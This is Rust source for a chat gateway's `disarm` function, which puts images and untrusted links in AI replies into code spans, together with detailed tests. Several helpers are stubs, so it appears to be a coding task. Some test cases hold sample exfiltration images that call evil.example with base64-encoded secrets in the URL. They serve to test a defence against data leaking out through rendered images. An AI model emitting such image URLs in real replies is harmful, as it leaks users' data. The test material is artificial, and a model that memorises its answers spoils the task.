/// `text` with every image in a code span, and when `untrusted`, every link and URL as well.
/// Code the reply already holds is left as it is, and so is everything else.
pub fn disarm(text: &str, untrusted: bool) -> Disarmed {
let longest = runs(text).into_iter().map(|(_, len)| len).max();
let mut out = Out {
text: String::with_capacity(text.len()),
ticks: longest.unwrap_or(0) + 1,
links: false,
};
let lines = lines(text);
// `html`: a line so far may start an HTML block, which can swallow a fence (marked).
// `nested`: the lines since the last empty one hold a list item or a quote, which a fence
// may continue; marked may then end the item inside the fence (at an empty line, a rule, a
// definition or the next item), and CommonMark may end it at the fence.
let (mut html, mut nested) = (false, false);
let (mut prose, mut at) = (0, 0);
while let Some(line) = lines.get(at) {
let closer = if html || nested {
None
} else {
fence_end(&lines, at)
};
if let Some(end) = closer {
out.prose(lines.get(prose..at).unwrap_or_default(), untrusted);
for line in lines.get(at..=end).unwrap_or_default() {
out.text.push_str(line);
}
(at, prose, nested) = (end + 1, end + 1, false);
} else {
html = html || html_start(line);
nested = !content(line).is_empty() && (nested || nested_start(line));
at += 1;
}
}
out.prose(lines.get(prose..).unwrap_or_default(), untrusted);
Disarmed {
text: out.text,
links: out.links,
}
}
impl Out {
/// Lines outside fenced blocks, one paragraph at a time: an empty line ends one. A line of
/// spaces does not, since marked reads it as part of the paragraph.
fn prose(&mut self, lines: &[&str], untrusted: bool) {
let mut paragraph = String::new();
for line in lines {
if content(line).is_empty() {
self.paragraph(&paragraph, untrusted);
paragraph.clear();
self.text.push_str(line);
} else {
paragraph.push_str(line);
}
}
self.paragraph(&paragraph, untrusted);
}
/// Write `construct` as code spans (`code`), one per piece between split characters, each
/// split character written after its piece: a line end (`BREAKS`) or `|` (a table cell ends
/// there, even in a code span) as it is; a backtick or one of `closers` after a backslash,
/// except `$` (marked does not escape it), so that nothing before can pair with it. Last, a
/// space if `after` starts with a backtick: runs that touch would merge.
fn wrap(&mut self, construct: &str, after: &str, closers: &[char]) {
todo!()
}
/// One piece as a code span: `self.ticks` backticks, the piece, as many again. An empty piece,
/// or one of only white space (`trim().is_empty()`), is written as it is. Before the span, a
/// space, unless the text so far is empty or ends with white space: marked reads backticks as
/// part of a URL they touch, a backtick would merge with the run, a backslash escape it.
fn code(&mut self, piece: &str) {
todo!()
}
}
/// `text` cut after each line end (`\r\n`, `\n`, `\r` or U+2424), each line keeping its end;
/// the last line may have none. An empty `text` gives no lines.
fn lines(text: &str) -> Vec<&str> {
let mut lines = Vec::new();
let mut start = 0;
let mut chars = text.char_indices().peekable();
while let Some((i, c)) = chars.next() {
let end = match c {
'\r' if chars.next_if(|&(_, next)| next == '\n').is_some() => i + 2,
'\n' | '\r' | '\u{2424}' => i + c.len_utf8(),
_ => continue,
};
lines.push(text.get(start..end).unwrap_or_default());
start = end;
}
if start < text.len() {
lines.push(text.get(start..).unwrap_or_default());
}
lines
}
/// A line without its line end.
fn content(line: &str) -> &str {
line.trim_end_matches(BREAKS)
}
/// Each run of backticks in `text` (a run is as long as it goes), as (byte offset, length).
fn runs(text: &str) -> Vec<(usize, usize)> {
let mut found: Vec<(usize, usize)> = Vec::new();
let mut last_end = None;
for (i, c) in text.char_indices() {
if c != '`' {
continue;
}
match found.last_mut() {
Some(run) if last_end == Some(i) => run.1 += 1,
_ => found.push((i, 1)),
}
last_end = Some(i + 1);
}
found
}
/// Whether the line may start an HTML block: after white space, ASCII digits and the characters
/// `>-*+.)` of list and quote markers at its start (`trim_start_matches`), it starts with `<` and
/// an ASCII letter or `/`.
fn html_start(line: &str) -> bool {
todo!()
}
/// Whether the line starts like a list item or a quote: the first character of
/// `content(line).trim_start()` is `>`, `-`, `*`, `+` or an ASCII digit.
fn nested_start(line: &str) -> bool {
todo!()
}
/// The index of the line that closes the fenced block `lines[at]` opens: `opener` gives
/// `(indent, run)`, else `None`. Then for each later line `i`, in order: if `closes(line, run)`,
/// `Some(i)`; else if its `content` is not empty and starts with fewer than `indent` spaces,
/// `None` (it leaves a list item in CommonMark, and the block with it). No closer: `None`, since
/// marked reads an unclosed fence as code only at times.
fn fence_end(lines: &[&str], at: usize) -> Option<usize> {
todo!()
}
/// If the line opens a fenced block, its indent and run. In its `content`: up to 3 spaces (the
/// indent), then the run, 3 or more of one character, a backtick or `~`; the rest of the line (the
/// info) holds no backtick, `~` or `|` (a `|` can make it a table row in marked). Else `None`.
fn opener(line: &str) -> Option<(usize, &str)> {
todo!()
}
/// Whether the line closes a block opened with `run`, as marked decides: its `content` starts
/// with at most 3 characters that are spaces or no-break spaces (U+00A0), then `run`; after that
/// come only backticks and `~`, then only spaces, tabs or no-break spaces.
fn closes(line: &str, run: &str) -> bool {
todo!()
}
@@ -0,0 +1,196 @@
//! A reply's images and links as `deliver` posts them, against a fake `loopd` whose `TurnDone`
//! says whether the session has read untrusted content; and `answer_posts` on replies long enough
//! to be split (M5b spec, section 9). Do not edit.
#[path = "support/fake_loop.rs"]
mod fake_loop;
#[path = "support/tmp.rs"]
mod tmp;
use std::sync::Mutex;
use std::time::Duration;
use bxcore::{Envelope, Message, PROTOCOL_VERSION, SessionId, TurnDone, Usage};
use fake_loop::{Reply, done, serve_loop};
use gatewayd::deliver::{EMPTY_ANSWER, MAX_POST, Notice, Poster, answer_posts, deliver};
use gatewayd::links::NOTICE;
use gatewayd::mm::MmError;
use gatewayd::sessions::{Batch, Thread};
use tmp::TempDir;
const DM: &str = "d0000000000000000000000000";
const ROOT: &str = "r0000000000000000000000000";
#[derive(Default)]
struct Record {
posts: Mutex<Vec<String>>,
}
impl Poster for Record {
fn post(&self, channel: &str, root: &str, text: &str) -> Result<(), MmError> {
assert_eq!((channel, root), (DM, ROOT), "every post in the thread");
self.posts.lock().unwrap().push(text.to_string());
Ok(())
}
}
/// The frame that ends a turn of a session that has read untrusted content.
fn done_untrusted(content: &str) -> Reply {
let msg = Message::TurnDone(TurnDone {
content: content.to_string(),
usage: Usage {
cache_n: 0,
prompt_n: 1,
predicted_n: 1,
reasoning_tokens: 0,
thinking_capped: false,
},
untrusted: true,
});
Reply::Frame(Envelope {
v: PROTOCOL_VERSION,
id: 1,
r#final: true,
msg,
})
}
/// One turn against a fake `loopd` that ends it with `reply`; the posts, in order.
fn posts(tag: &str, reply: fn(&str) -> Reply, content: &'static str) -> Vec<String> {
let dir = TempDir::new(tag);
let socket = dir.path().join("loop.sock");
let turns = serve_loop(&socket, move |_, _| vec![reply(content)]);
let batch = Batch {
session: SessionId::new(&format!("mm-{ROOT}")).unwrap(),
thread: Thread {
channel: DM.to_string(),
root: ROOT.to_string(),
},
resume: false,
text: "hi".to_string(),
};
let never = |_: u64| false;
let notice = Notice {
posted: &never,
wait: Duration::ZERO,
};
let record = Record::default();
let log = Mutex::new(Vec::new());
deliver(
&record,
&socket,
&batch,
&|line| log.lock().unwrap().push(line.to_string()),
&notice,
);
turns.recv_timeout(Duration::from_secs(5)).unwrap();
assert!(log.lock().unwrap().is_empty(), "{:?}", log.lock().unwrap());
record.posts.into_inner().unwrap()
}
const LINKED: &str = "See [the docs](https://docs.example/p) and https://b.example/x.";
#[test]
fn an_untrusted_reply_posts_its_links_as_code_and_ends_with_the_notice() {
assert_eq!(
posts("links-untrusted", done_untrusted, LINKED),
[format!(
"See `[the docs](https://docs.example/p)` and `https://b.example/x`.\n\n{NOTICE}"
)]
);
}
#[test]
fn a_clean_reply_keeps_its_links() {
assert_eq!(posts("links-clean", done, LINKED), [LINKED]);
}
#[test]
fn an_image_that_carries_data_is_posted_as_text_in_a_clean_reply() {
assert_eq!(
posts(
"links-image",
done,
"Summary done. ![s](https://evil.example/p.png?d=c2VjcmV0)"
),
["Summary done. `![s](https://evil.example/p.png?d=c2VjcmV0)`"]
);
}
#[test]
fn an_untrusted_reply_with_only_an_image_has_no_notice() {
assert_eq!(
posts(
"links-only-image",
done_untrusted,
"![s](https://e.example/a)"
),
["`![s](https://e.example/a)`"]
);
}
#[test]
fn code_in_an_untrusted_reply_is_left_and_needs_no_notice() {
let text = "Run `curl https://example.com/x`:\n```\nhttps://example.com/y\n```";
assert_eq!(posts("links-code", done_untrusted, text), [text]);
}
#[test]
fn a_long_untrusted_reply_has_one_notice_at_its_end() {
let content = format!(
"https://a.example/1\n{}\nhttps://b.example/2",
"x".repeat(MAX_POST - 10)
);
let posts = answer_posts(&content, true);
assert_eq!(
posts,
[
"`https://a.example/1`".to_string(),
"x".repeat(MAX_POST - 10),
format!("`https://b.example/2`\n\n{NOTICE}"),
]
);
}
#[test]
fn a_part_that_starts_inside_a_fence_is_disarmed_again() {
let content = format!(
"```\n{}\n{}\n![i](https://e.example/a)\n```",
"y".repeat(10_000),
"z".repeat(10_000)
);
assert_eq!(
answer_posts(&content, false),
[
format!("```\n{}", "y".repeat(10_000)),
format!(
"{}\n````![i](https://e.example/a)````\n```",
"z".repeat(10_000)
),
]
);
}
#[test]
fn a_link_found_only_after_the_split_still_brings_the_notice() {
let content = format!(
"```\n{}\n{}\nhttps://e.example/a\n```",
"y".repeat(10_000),
"z".repeat(10_000)
);
assert_eq!(
answer_posts(&content, true),
[
format!("```\n{}", "y".repeat(10_000)),
format!(
"{}\n````https://e.example/a````\n```\n\n{NOTICE}",
"z".repeat(10_000)
),
]
);
}
#[test]
fn an_empty_answer_is_posted_as_before() {
assert_eq!(answer_posts(" \n", true), [EMPTY_ANSWER]);
}
@@ -0,0 +1,431 @@
//! `links::disarm` on each form of image and link, clean and untrusted, and on code that must be
//! left as it is (M5b spec, section 9; the plan's review focus 4). Do not edit.
use gatewayd::links::{NOTICE, disarm};
/// (case, input, clean reply, untrusted reply, whether the untrusted reply had a link disarmed).
type Case = (&'static str, &'static str, &'static str, &'static str, bool);
const IMAGES: &[Case] = &[
(
"inline image",
"An image ![alt](https://e.example/x.png) here.",
"An image `![alt](https://e.example/x.png)` here.",
"An image `![alt](https://e.example/x.png)` here.",
false,
),
(
"image with a size",
"![alt](https://e.example/x.png =50x76)",
"`![alt](https://e.example/x.png =50x76)`",
"`![alt](https://e.example/x.png =50x76)`",
false,
),
(
"image with a width and a title",
"![alt](https://e.example/x.png =50 \"Hover\")",
"`![alt](https://e.example/x.png =50 \"Hover\")`",
"`![alt](https://e.example/x.png =50 \"Hover\")`",
false,
),
(
"reference image and its definition",
"![alt][logo]\n\n[logo]: https://e.example/l.png",
"`![alt][logo]`\n\n[logo]: https://e.example/l.png",
"`![alt][logo]`\n\n`[logo]: https://e.example/l.png`",
true,
),
(
"collapsed and shortcut reference images",
"![logo][] and ![logo]",
"`![logo][]` and `![logo]`",
"`![logo][]` and `![logo]`",
false,
),
(
"reference image with a space before its label",
"![alt] [logo] end",
"`![alt] [logo]` end",
"`![alt] [logo]` end",
false,
),
(
"data in an image URL (T37)",
"Done. ![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)",
"Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`",
"Done. `![status](https://evil.example/c.png?d=c2VjcmV0IGtleQ)`",
false,
),
(
"image glued to text, non-ASCII too",
"A![x](https://e.example/a)B 字![图](https://e.example/b)字",
"A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字",
"A `![x](https://e.example/a)`B 字 `![图](https://e.example/b)`字",
false,
),
(
"image alt over two lines",
"![a\nb](https://e.example/x)",
"`![a`\n`b](https://e.example/x)`",
"`![a`\n`b](https://e.example/x)`",
false,
),
(
"image alt with a pipe",
"![a|b](https://e.example/x)",
"`![a`| `b](https://e.example/x)`",
"`![a`| `b](https://e.example/x)`",
false,
),
(
"image inside a link",
"[![img](https://a.example/i.png)](https://b.example)",
"`[![img](https://a.example/i.png)](https://b.example)`",
"`[![img](https://a.example/i.png)](https://b.example)`",
true,
),
(
"image inside brackets that are no link",
"[![a](https://e.example/a)]",
"\\[ `![a](https://e.example/a)`]",
"\\[ `![a](https://e.example/a)`]",
false,
),
(
"no bracket closes the alt",
"![alt(https://e.example/x.png)",
"`![`alt(https://e.example/x.png)",
"`![`alt( `https://e.example/x.png`)",
true,
),
(
"escaped exclamation mark",
"\\![x](https://e.example/a)",
"\\![x](https://e.example/a)",
"\\! `[x](https://e.example/a)`",
true,
),
(
"escaped backslash, then an image",
"\\\\![x](https://e.example/a)",
"\\\\ `![x](https://e.example/a)`",
"\\\\ `![x](https://e.example/a)`",
false,
),
];
const LINKS: &[Case] = &[
(
"plain URL, its full stop left out",
"See https://example.com/a.",
"See https://example.com/a.",
"See `https://example.com/a`.",
true,
),
(
"autolink",
"<https://example.com/a>",
"<https://example.com/a>",
"`<https://example.com/a>`",
true,
),
(
"email autolink",
"Write to <owner@example.com>.",
"Write to <owner@example.com>.",
"Write to `<owner@example.com>`.",
true,
),
(
"Markdown link with a title",
"[the docs](https://docs.example/p \"Title\")",
"[the docs](https://docs.example/p \"Title\")",
"`[the docs](https://docs.example/p \"Title\")`",
true,
),
(
"reference link and its definition",
"[docs][d]\n\n[d]: https://docs.example/p",
"[docs][d]\n\n[d]: https://docs.example/p",
"`[docs][d]`\n\n`[d]: https://docs.example/p`",
true,
),
(
"relative link",
"[home](/channels/town)",
"[home](/channels/town)",
"`[home](/channels/town)`",
true,
),
(
"www without a scheme",
"at www.example.com today",
"at www.example.com today",
"at `www.example.com` today",
true,
),
(
"domain and path without a scheme",
"example.org/path and example.org",
"example.org/path and example.org",
"`example.org/path` and example.org",
true,
),
(
"schemes without slashes",
"mailto:owner@example.com or tel:5551234",
"mailto:owner@example.com or tel:5551234",
"`mailto:owner@example.com` or `tel:5551234`",
true,
),
(
"prose with colons",
"Note: a ratio of 3:2 and key:value",
"Note: a ratio of 3:2 and key:value",
"Note: a ratio of 3:2 and `key:value`",
true,
),
(
"URL with parentheses, inside parentheses",
"(see https://en.example/wiki/Rust_(language))",
"(see https://en.example/wiki/Rust_(language))",
"(see `https://en.example/wiki/Rust_(language)`)",
true,
),
(
"URL up to a backtick",
"https://x.example/a`b",
"https://x.example/a`b",
"``https://x.example/a`` `b",
true,
),
(
"non-ASCII URL and text",
"Привет, мир: https://пример.рф/путь и всё.",
"Привет, мир: https://пример.рф/путь и всё.",
"Привет, мир: `https://пример.рф/путь` и всё.",
true,
),
(
"two links on a line",
"[a](https://a.example) or https://b.example/x?y=1",
"[a](https://a.example) or https://b.example/x?y=1",
"`[a](https://a.example)` or `https://b.example/x?y=1`",
true,
),
(
"angle brackets around a space are no autolink",
"<a b:c>",
"<a b:c>",
"<a `b:c`>",
true,
),
(
"a scheme inside a word is no URL",
"1http://x.example/p",
"1http://x.example/p",
"1http://x.example/p",
false,
),
(
"a last part of five letters is no domain",
"x.abcde/p and x.abcd/p",
"x.abcde/p and x.abcd/p",
"x.abcde/p and `x.abcd/p`",
true,
),
(
"www with digits",
"www2.example.com",
"www2.example.com",
"`www2.example.com`",
true,
),
(
"brackets and angle brackets that are no link",
"[not a link] and <foo> and a < b",
"[not a link] and <foo> and a < b",
"[not a link] and <foo> and a < b",
false,
),
(
"definition padded with spaces, ending in a backtick",
" [x]: https://e.example/`",
" [x]: https://e.example/`",
"`` [x]: https://e.example/``\\`",
true,
),
(
"a definition needs a label",
"[]: https://e.example/x",
"[]: https://e.example/x",
"[]: `https://e.example/x`",
true,
),
(
"a definition only at the start of a line",
"text [x]: https://e.example",
"text [x]: https://e.example",
"text [x]: `https://e.example`",
true,
),
];
const CODE: &[Case] = &[
(
"code spans",
"Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
"Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
"Run `curl https://example.com/x` and `![a](https://e.example/b)` now.",
false,
),
(
"fenced block",
"Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
"Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
"Before:\n```sh\ncurl https://example.com/x\n![i](https://e.example/y)\n```\nAfter.",
false,
),
(
"tilde fence, and a longer fence holding a shorter one",
"~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
"~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
"~~~\n![i](https://e.example/a)\n~~~\n````\n```\nhttps://b.example\n````",
false,
),
(
"span with a backtick inside",
"``a ` https://x.example`` and ``![i](https://e.example/a)``",
"``a ` https://x.example`` and ``![i](https://e.example/a)``",
"``a ` https://x.example`` and ``![i](https://e.example/a)``",
false,
),
(
"link text in code",
"[`code`](https://d.example)",
"[`code`](https://d.example)",
"``[``\\` ``code``\\` ``](https://d.example)``",
true,
),
(
"code in code, and a link beside it",
"`https://a.example` https://b.example",
"`https://a.example` https://b.example",
"`https://a.example` ``https://b.example``",
true,
),
];
const TICKS: &[Case] = &[
(
"runs longer than any in the reply",
"``x`` then https://y.example and ![i](https://e.example/a)",
"``x`` then https://y.example and ```![i](https://e.example/a)```",
"``x`` then ```https://y.example``` and ```![i](https://e.example/a)```",
true,
),
(
"a fence counts",
"```\ncode\n```\nhttps://y.example",
"```\ncode\n```\nhttps://y.example",
"```\ncode\n```\n````https://y.example````",
true,
),
(
"backticks inside the image go between spans, escaped",
"![a`b](https://e.example/`q`)",
"``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``",
"``![a``\\` ``b](https://e.example/``\\` ``q``\\` ``)``",
false,
),
(
"a backtick right after the image",
"x ![a](https://e.example/a)`y`",
"x ``![a](https://e.example/a)`` `y`",
"x ``![a](https://e.example/a)`` `y`",
false,
),
(
"a lone backtick right before the image",
"`![a](https://e.example/a)",
"` ``![a](https://e.example/a)``",
"` ``![a](https://e.example/a)``",
false,
),
];
fn check(table: &[Case]) {
for &(case, input, clean, untrusted, links) in table {
let got = disarm(input, false);
assert_eq!(got.text, clean, "{case}: clean");
assert!(!got.links, "{case}: a clean reply never has links disarmed");
let got = disarm(input, true);
assert_eq!(got.text, untrusted, "{case}: untrusted");
assert_eq!(got.links, links, "{case}: links");
}
}
#[test]
fn images_are_code_in_every_reply() {
check(IMAGES);
}
#[test]
fn links_are_code_only_when_untrusted() {
check(LINKS);
}
#[test]
fn code_is_left_as_it_is() {
check(CODE);
}
#[test]
fn new_spans_use_a_longer_run_and_never_touch_a_backtick() {
check(TICKS);
}
#[test]
fn disarming_twice_changes_nothing() {
for table in [IMAGES, LINKS, CODE, TICKS] {
for &(case, input, ..) in table {
for untrusted in [false, true] {
let once = disarm(input, untrusted).text;
let twice = disarm(&once, untrusted);
assert_eq!(twice.text, once, "{case}: untrusted {untrusted}");
assert!(
!twice.links,
"{case}: untrusted {untrusted}: nothing left to disarm"
);
}
}
}
}
#[test]
fn text_without_images_or_links_is_unchanged() {
for text in [
"",
"Plain words.",
"Ünïcödé, 日本語, emoji 🦀, and a tab\there.",
"Lines\n\nwith\r\nbreaks\rof\u{2424}every kind\n",
"A list:\n- one\n- two\n\n> a quote\n\n# A heading",
"Emphasis: *a*, **b**, _c_, ~~d~~ and a table:\n| a | b |\n|---|---|\n| 1 | 2 |",
"Paths: crates/gatewayd/src/links.rs, ../x.txt, C:\\temp and std::io",
] {
for untrusted in [false, true] {
let got = disarm(text, untrusted);
assert_eq!(got.text, text, "untrusted {untrusted}");
assert!(!got.links);
}
}
}
#[test]
fn the_notice_is_one_line() {
assert_eq!(
NOTICE,
"Links in this reply are shown as code because this conversation has read untrusted content."
);
assert!(!NOTICE.contains('\n'));
}
@@ -0,0 +1,363 @@
//! `links::disarm` where the server's CommonMark parser and the clients' marked may read a reply
//! differently: such text is read as prose, so an image in it still goes in a code span (M5b
//! spec, section 9). Each case names the rule it pins. Do not edit.
use gatewayd::links::disarm;
/// (case, input, clean reply). The untrusted reply is checked by the tests in `links.rs`.
type Case = (&'static str, &'static str, &'static str);
const FENCES: &[Case] = &[
(
"an unclosed fence is prose",
"```\n![i](https://e.example/a)",
"```\n````![i](https://e.example/a)````",
),
(
"a closer may end with tildes, and what follows is prose",
"```\n![i](https://e.example/a)\n```~\n![j](https://e.example/b)",
"```\n![i](https://e.example/a)\n```~\n````![j](https://e.example/b)````",
),
(
"a longer closer closes, a shorter one does not",
"```\n![i](https://e.example/a)\n````\n````\n```\n![j](https://e.example/b)\n````",
"```\n![i](https://e.example/a)\n````\n````\n```\n![j](https://e.example/b)\n````",
),
(
"an opener indented four spaces is prose",
" ```\n ![i](https://e.example/a)\n ```",
" ```\n ````![i](https://e.example/a)````\n ```",
),
(
"two backticks are no fence",
"``\n![i](https://e.example/a)\n``",
"``\n```![i](https://e.example/a)```\n``",
),
(
"a closer indented four spaces does not close",
"```\n![i](https://e.example/a)\n ```\n![j](https://e.example/b)\n```",
"```\n![i](https://e.example/a)\n ```\n![j](https://e.example/b)\n```",
),
(
"an opener indented three spaces is a fence",
" ```\n ![i](https://e.example/a)\n```",
" ```\n ![i](https://e.example/a)\n```",
),
(
"an opener with a pipe after it is prose",
"```|x\n![i](https://e.example/a)\n```",
"```|x\n````![i](https://e.example/a)````\n```",
),
(
"an opener with a backtick after it is prose",
"``` a`b\n![i](https://e.example/a)\n```",
"``` a`b\n````![i](https://e.example/a)````\n```",
),
(
"a fence continuing a list item is prose",
"- item\n```\n![i](https://e.example/a)\n```",
"- item\n```\n````![i](https://e.example/a)````\n```",
),
(
"a fence continuing a quote is prose",
"> quote\n```\n![i](https://e.example/a)\n```",
"> quote\n```\n````![i](https://e.example/a)````\n```",
),
(
"a fence continuing a numbered item is prose",
"1. item\n```\n![i](https://e.example/a)\n```",
"1. item\n```\n````![i](https://e.example/a)````\n```",
),
(
"a fence after an empty line below a list is a fence, even with an empty line inside",
"- item\n\n```\n![i](https://e.example/a)\n\nx\n```",
"- item\n\n```\n![i](https://e.example/a)\n\nx\n```",
),
(
"a line indented less than the opener ends it",
"- item\n\n ```\n![i](https://e.example/a)\n ```",
"- item\n\n ```\n````![i](https://e.example/a)````\n ```",
),
(
"an empty line inside an indented fence does not end it",
"- item\n\n ```\n one\n\n ![i](https://e.example/a)\n ```",
"- item\n\n ```\n one\n\n ![i](https://e.example/a)\n ```",
),
(
"a fence after an HTML tag is prose",
"<div>\n\n```\n![i](https://e.example/a)\n```\n\n</div>",
"<div>\n\n```\n````![i](https://e.example/a)````\n```\n\n</div>",
),
(
"a tag after a list marker counts",
"- <div>\n\n```\n![i](https://e.example/a)\n```",
"- <div>\n\n```\n````![i](https://e.example/a)````\n```",
),
(
"a tag inside a line does not",
"Use `Vec<String>`:\n```\n![i](https://e.example/a)\n```",
"Use `Vec<String>`:\n```\n![i](https://e.example/a)\n```",
),
(
"a closing tag counts",
"</p>\n```\n![i](https://e.example/a)\n```",
"</p>\n```\n````![i](https://e.example/a)````\n```",
),
(
"a tag after the fence does not matter",
"```\n![i](https://e.example/a)\n```\n<div>",
"```\n![i](https://e.example/a)\n```\n<div>",
),
(
"a tag inside a fence does not count",
"```\n<div>\n```\n```\n![i](https://e.example/a)\n```",
"```\n<div>\n```\n```\n![i](https://e.example/a)\n```",
),
];
const LINES: &[Case] = &[
(
"a carriage return ends a line",
"```\r![i](https://e.example/a)\r```\rtext\r![j](https://e.example/b)",
"```\r![i](https://e.example/a)\r```\rtext\r````![j](https://e.example/b)````",
),
(
"U+2424 ends a line",
"```\u{2424}![i](https://e.example/a)\u{2424}```",
"```\u{2424}![i](https://e.example/a)\u{2424}```",
),
(
"CRLF is one line end, not an empty line",
"`a\r\n`![i](https://e.example/a)`",
"`a\r\n` ``![i](https://e.example/a)`` `",
),
(
"a line of spaces inside an alt is written as it is",
"![a\n \nb](https://e.example/x)",
"`![a`\n \n`b](https://e.example/x)`",
),
(
"an alt split by CRLF keeps it",
"![a\r\nb](https://e.example/x)",
"`![a`\r\n`b](https://e.example/x)`",
),
];
const SPANS: &[Case] = &[
(
"a span on one line is code",
"a\n`![i](https://e.example/a)`",
"a\n`![i](https://e.example/a)`",
),
(
"after a lone backtick, a span of its length is prose",
"`a\n`![i](https://e.example/a)`",
"`a\n` ``![i](https://e.example/a)`` `",
),
(
"a span of another length is still code",
"`a\n``![i](https://e.example/a)``",
"`a\n``![i](https://e.example/a)``",
),
(
"a span holding a run of that length is prose",
"`lone\n``a ` ![i](https://e.example/a) ``",
"`lone\n``a ` ```![i](https://e.example/a)``` ``",
),
(
"an empty line starts afresh",
"`a\n\n`![i](https://e.example/a)`",
"`a\n\n`![i](https://e.example/a)`",
),
(
"a line of spaces does not",
"`a\n \n`![i](https://e.example/a)`",
"`a\n \n` ``![i](https://e.example/a)`` `",
),
(
"a span that does not close on its line is prose",
"`a\nb` ![i](https://e.example/a)",
"`a\nb` ``![i](https://e.example/a)``",
),
(
"a span holding a pipe is prose (a table cell ends there)",
"| `x | ![i](https://e.example/a) | y` |",
"| `x | ``![i](https://e.example/a)`` | y` |",
),
(
"an escaped backtick opens nothing",
"\\`![i](https://e.example/a)`",
"\\` ``![i](https://e.example/a)`` `",
),
(
"a backtick in a URL opens nothing (marked reads it as the URL's)",
"https://x.example/a`b ![i](https://e.example/a) `",
"https://x.example/a`b ``![i](https://e.example/a)`` `",
),
(
"a backtick in a link destination opens nothing",
"[a](x `) ![i](https://e.example/a) `",
"[a](x `) ``![i](https://e.example/a)`` `",
),
];
const BRACKETS: &[Case] = &[
(
"a label holding a bracket in code",
"![a `]` b](https://e.example/a)",
"``![a ``\\` ``]``\\` `` b](https://e.example/a)``",
),
(
"a label holding a lone backtick",
"![a ``](https://e.example/a) `",
"```![a ```\\`\\` ```](https://e.example/a)``` `",
),
(
"nested brackets and escapes in the label",
"![a [b] \\] c](https://e.example/a)",
"`![a [b] \\] c](https://e.example/a)`",
),
(
"nested parentheses in the destination; a backslash does not escape one",
"![a](https://e.example/a_(b)\\)c) d",
"`![a](https://e.example/a_(b)\\)`c) d",
),
(
"no parenthesis closes the destination",
"![a](https://e.example/a b",
"`![a]`(https://e.example/a b",
),
];
/// What marked lets take a backtick before a code span starts: emphasis, a tag, a URL, a link.
const STEALS: &[Case] = &[
(
"emphasis before a span that holds its closer makes it prose",
"** `** ![i](https://e.example/a) `",
"** `** ``![i](https://e.example/a)`` `",
),
(
"a tag before a span that holds a `>` makes it prose",
"<b x='`'> ![i](https://e.example/a) `",
"<b x='`'> ``![i](https://e.example/a)`` `",
),
(
"a `[` that starts no link is escaped when a `](` follows",
"[x [y](https://l.example) and [z]",
"\\[x [y](https://l.example) and [z]",
),
(
"the characters of a clean link count as seen",
"[a*b](https://l.example) `*![i](https://e.example/a)`",
"[a*b](https://l.example) `* ``![i](https://e.example/a)`` `",
),
(
"inline LaTeX before a span that holds a `$` makes it prose",
"$a `$ ![i](https://e.example/a) `",
"$a `$ ``![i](https://e.example/a)`` `",
),
(
"a new span splits at a `$` seen before it, which marked does not escape",
"$x ![i](https://e.example/a$b)",
"$x `![i](https://e.example/a`$ `b)`",
),
(
"but not at a `$` seen only after it",
"![i](https://e.example/a$b) $x",
"`![i](https://e.example/a$b)` $x",
),
(
"a new span splits at a closer seen before it",
"*a* ![i](https://e.example/b*c)",
"*a* `![i](https://e.example/b`\\* `c)`",
),
(
"but not at one seen only after it",
"![i](https://e.example/b*c) *a*",
"`![i](https://e.example/b*c)` *a*",
),
(
"marked may read part of a run into a clean URL",
"www.x.example/p```)`![i](https://e.example/a)`",
"www.x.example/p```)` ````![i](https://e.example/a)```` `",
),
(
"a clean URL ends at a `<` before a line end, which may start an autolink",
"e.org/p<\ne.org/p<https://a.example>![i](https://e.example/x)",
"e.org/p<\ne.org/p<https://a.example> `![i](https://e.example/x)`",
),
(
"a clean URL holding an image goes in code whole",
"https://x.example/![i](https://e.example/a) end",
"`https://x.example/![i](https://e.example/a)` end",
),
];
fn check(table: &[Case]) {
for &(case, input, clean) in table {
let once = disarm(input, false);
assert_eq!(once.text, clean, "{case}");
assert_eq!(disarm(clean, false).text, clean, "{case}: twice");
}
}
#[test]
fn fences_both_parsers_read_as_code() {
check(FENCES);
}
#[test]
fn lines_end_where_marked_ends_them() {
check(LINES);
}
#[test]
fn spans_both_parsers_read_as_code() {
check(SPANS);
}
#[test]
fn labels_and_destinations_end_where_either_parser_ends_them() {
check(BRACKETS);
}
#[test]
fn what_marked_lets_take_a_backtick_leaves_no_image() {
check(STEALS);
}
#[test]
fn a_construct_is_looked_for_in_its_first_2048_characters() {
// From its `[` to its `)`: 2048 characters, found whole.
let image = |alt: usize| format!("![{}](https://e.example/x)", "a".repeat(alt));
assert_eq!(
disarm(&image(2025), false).text,
format!("`{}`", image(2025))
);
// One more, and the `)` is out of reach: the image is read as `![alt]`.
let alt = "a".repeat(2026);
let got = disarm(&image(2026), false).text;
assert_eq!(got, format!("`![{alt}]`(https://e.example/x)"));
// With the `]` out of reach too, only the `![` goes in code; in an untrusted reply, the URL
// as well.
let alt = "a".repeat(2047);
let got = disarm(&image(2047), false).text;
assert_eq!(got, format!("`![`{alt}](https://e.example/x)"));
let got = disarm(&image(2047), true).text;
assert_eq!(got, format!("`![`{alt}]( `https://e.example/x`)"));
// A link out of reach keeps only its URL in code.
let got = disarm(&format!("[{alt}](https://l.example/x)"), true);
assert_eq!(got.text, format!("[{alt}]( `https://l.example/x`)"));
assert!(got.links);
}
#[test]
fn an_untrusted_reply_follows_the_same_rules() {
let text = "- item\n```\nhttps://e.example/a\n```\n\n```\nhttps://e.example/b\n```";
let got = disarm(text, true);
assert_eq!(
got.text,
"- item\n```\n````https://e.example/a````\n```\n\n```\nhttps://e.example/b\n```"
);
assert!(got.links);
}